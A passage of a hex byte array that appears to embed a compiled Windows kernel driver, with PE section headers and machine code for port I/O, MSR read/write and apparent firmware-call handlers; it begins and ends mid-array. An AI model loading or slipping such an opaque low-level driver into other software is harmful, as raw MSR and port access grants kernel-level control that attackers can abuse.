0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, - 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, - 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, - 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, - 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, - 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, - 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, - 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, - 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, - 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, - 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, - 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, - 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, - 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, - 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, - 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, - 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, - 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, - 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, - 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, - 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, - 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, - 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, - 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, - 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, - 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, - 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, - 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, - 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, - 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, - 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, - 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, - 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, - 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, - 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, - 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, - 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, - 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, - 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, - 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, - 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, - 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, - 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, - 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, - 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, - 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, - 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, - 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, - 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, - 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, - 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, - 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, - 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, - 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, - 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, - 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, - 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, - 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, - 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, - 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, - 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, - 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, - 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, - 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, - 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, - 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, - 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, - 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, - 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, - 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, - 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, - 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, - 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, - 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, - 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, - 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, - 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, - 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, - 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, - 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, - 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, - 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, - 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, - 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, - 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, - 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, - 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, - 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, - 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, - 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, - 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, - 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, - 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, - 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, - 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, - 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, - 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, - 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, - 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, - 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, - 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, - 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, - 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, - 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, - 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, - 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, - 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, - 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, - 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, - 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, - 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, - 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, - 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, - 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, - 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, - 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, - 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, - 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, - 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, - 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, - 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, - 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, - 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, - 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, - 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, - 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, - 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, - 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, - 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, - 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, - 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, - 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, - 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, - 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, - 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, - 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, - 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, - 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, - 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, - 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, - 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, - 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, - 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 